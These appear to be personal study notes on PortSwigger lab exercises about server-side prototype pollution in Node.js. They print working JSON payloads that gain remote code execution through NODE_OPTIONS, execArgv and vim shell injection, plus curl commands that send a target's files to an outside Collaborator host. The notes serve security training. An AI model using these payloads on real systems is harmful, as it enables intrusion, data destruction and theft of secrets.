Identifying a Vulnerable Request
The NODE_OPTIONS
environment variable enables you to define a string of command-line arguments that should be used by default whenever you start a new Node process. As this is also a property on the env
object, you can potentially control this via prototype pollution if it is undefined.
Some of Node’s functions for creating new child processes accept an optional shell
property, which enables developers to set a specific shell, such as bash, in which to run commands. By combining this with a malicious NODE_OPTIONS
property, you can pollute the prototype in a way that causes an interaction with Burp Collaborator whenever a new Node process is created:
"__proto__": {
"shell":"node",
"NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
Tip
The escaped double-quotes in the hostname aren’t strictly necessary. However, this can help to reduce false positives by obfuscating the hostname to evade WAFs and other systems that scrape for hostnames.
Remote Code Execution via child_process.fork()
The child_process.fork()
method accepts an options object in which one of the potential options is the execArgv
property. This is an array of strings containing command-line arguments that should be used when spawning the child process. If it’s left undefined by the developers, this potentially also means it can be controlled via prototype pollution.
Of particular interest is the --eval
argument, which enables you to pass in arbitrary JavaScript that will be executed by the child process.
"execArgv": [
"--eval=require('<module>')"
]
Lab: Remote Code Execution via Server-side Prototype Pollution
The objective of this lab is deleting /home/carlos/morale.txt
file.
Detect prototype pollution:
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
"__proto__": {
"json spaces": 16
}
}
The response indicates that we can exploit prototype pollution vulnerability:
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": true,
"json spaces": 16
}
Add env
and NODE_OPTIONS
properties:
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
"__proto__": {
"json spaces": 16,
"env": {
"EVIL": "console.log(require('child_process').execSync('rm /home/carlos/morale.txt').toString())//"
},
"NODE_OPTIONS": "--require /proc/self/environ"
}
}
Explanation:
- Value of
EVIL
will be added into/proc/self/environ
as an environment variable. - The last
//
is used for commenting out the remaining content of/proc/self/environ
when this file is treated as a JavaScript file. - The
--require
option will load/proc/self/environ
file and treat it as a JavaScript file as well as run it.
Reference
After that, send a POST request to /admin/jobs
to spawn child processes:
POST /admin/jobs HTTP/2
Host: 0a5d0001031c89d981a598bd00b40041.web-security-academy.net
Cookie: session=ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll
Content-Length: 126
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a5d0001031c89d981a598bd00b40041.web-security-academy.net
Referer: https://0a5d0001031c89d981a598bd00b40041.web-security-academy.net/admin
{
"csrf": "rlyQZboJav3ePsQ2Dir3u4AkeNlUEJCA",
"sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
"tasks": [
"db-cleanup",
"fs-cleanup"
]
}
Its response
HTTP/2 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 585
{
"results": [
{
"name": "db-cleanup",
"description": "Database cleanup",
"success": true
},
{
"name": "fs-cleanup",
"success": false,
"error": {
"code": 1,
"message": "Unexpected error."
}
}
]
}
Also, the lab is solved.
Another solution:
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "JF9mvjgbIw2SIrq78FBuvTOWNwB8XmgY",
"__proto__": {
"execArgv": [
"--eval=console.log(require('child_process').execSync('rm /home/carlos/morale.txt').toString())"
]
}
}
Remote Code Execution via child_process.execSync()
In some cases, the application may invoke execSync()
method of its own accord in order to execute system commands.
Like fork()
, the execSync()
method accepts an options object that can be manipulated via the prototype chain.
To inject system commands, we can exploit the shell
and input
properties:
- The
input
option is a string thatexecSync()
sends to the child process’sstdin
to be executed as a command. This option can be left undefined if the command is provided in another way. - The
shell
option specifies which shell to use, defaulting to the system shell, and can also be left undefined.
By polluting these properties, you can override the intended command with a malicious one:
- The
shell
option only takes the shell’s executable name without additional arguments. - The shell is executed with
-c
, but in Node, this flag triggers a syntax check instead of running the script, making it challenging to use Node itself as a shell. - The shell must accept commands from
stdin
since theinput
property payload is passed this way.
Although they aren’t really intended to be shells, the text editors Vim and ex reliably fulfill all of these criteria. If either of these happen to be installed on the server, this creates a potential vector for RCE:
"__proto__": {
"shell":"vim",
"input":":! <command>\n"
}
One additional limitation of this technique is that some tools that you might want to use for your exploit also don’t read data from stdin
by default. However, there are a few simple ways around this. In the case of curl
, for example, you can read stdin
and send the contents as the body of a POST
request using the -d @-
argument.
In other cases, you can use xargs
, which converts stdin
to a list of arguments that can be passed to a command.
Lab: Exfiltrating Sensitive Data via Server-side Prototype Pollution
Info
Follow the provided solution to solve this lab.
The vulnerability is confirmed by checking with json spaces
overide approach.
Add shell
and input
to request body like this for confirming that we can send request to Burp Collaborator:
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "fKYmuasCzzDAw7H5dzzznh8kzN5pfdSn",
"__proto__": {
"shell": "vim",
"input": ":! curl http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com\n"
}
}
After that, send POST request to /admin/jobs
to trigger execSync()
method.
POST /admin/jobs HTTP/2
Host: 0a9300d3033efc9481ae0c3100d9008a.web-security-academy.net
Cookie: session=fKYmuasCzzDAw7H5dzzznh8kzN5pfdSn
The response shows that there are some errors:
{
"results": [
{
"name": "db-cleanup",
"success": false,
"error": {
"code": 1,
"message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 55 100 55 0 0 6111 0 --:--:-- --:--:-- --:--:-- 6111\n\r\nPress ENTER or type command to continue\r\n"
}
},
{
"name": "fs-cleanup",
"success": false,
"error": {
"code": 1,
"message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 55 100 55 0 0 2500 0 --:--:-- --:--:-- --:--:-- 2500\n\r\nPress ENTER or type command to continue\r\n"
}
}
]
}
There are also some DNS and HTTP requests sent to Burp Collaborator, which confirms that we can send requests to Burp Collaborator to exfiltrate data:
ID | Time | Type | Payload | Source IP address |
---|---|---|---|---|
1 | 2024-Sep-03 13:40:41.971 UTC | DNS | 3korii4766eioqrjgk9olc2k2b82wukj | 34.245.205.188 |
2 | 2024-Sep-03 13:40:41.970 UTC | DNS | 3korii4766eioqrjgk9olc2k2b82wukj | 3.251.104.19 |
3 | 2024-Sep-03 13:40:41.971 UTC | DNS | 3korii4766eioqrjgk9olc2k2b82wukj | 3.251.104.54 |
4 | 2024-Sep-03 13:40:41.970 UTC | DNS | 3korii4766eioqrjgk9olc2k2b82wukj | 3.251.104.54 |
5 | 2024-Sep-03 13:40:41.976 UTC | HTTP | 3korii4766eioqrjgk9olc2k2b82wukj | 34.251.122.40 |
6 | 2024-Sep-03 13:40:44.043 UTC | HTTP | 3korii4766eioqrjgk9olc2k2b82wukj | 34.251.122.40 |
Next, update command to exfiltrate content of /home/carlos
:
ls /home/carlos | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
The -d@-
means we redirect any input from stdin
to request body of a POST request made by curl
.
There is a request sent to Burp Collaborator:
POST / HTTP/1.1
Host: 3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
node_appssecret
This should be the secret file.
Update command to read that file:
cat /home/carlos/node_appssecret | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
The reponse shows an error:
cat: /home/carlos/node_appssecret: No such file or directory
Try to enumerate file in /home/carlos
with file
instead:
file /home/carlos/* | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
The request sent to Burp Collaborator:
/home/carlos/node_apps: directory/home/carlos/secret: ASCII text, with no line terminators
So, the file we need to exfiltrate should be secret
:
cat /home/carlos/secret | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
The request we want:
POST / HTTP/1.1
Host: 3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
l7IMIBON9RiGma7oK9hILlaGqh0jGcP5
Related
list
from outgoing([[Port Swigger - Remote Code Execution via Server-side Prototype Pollution]])
sort file.ctime asc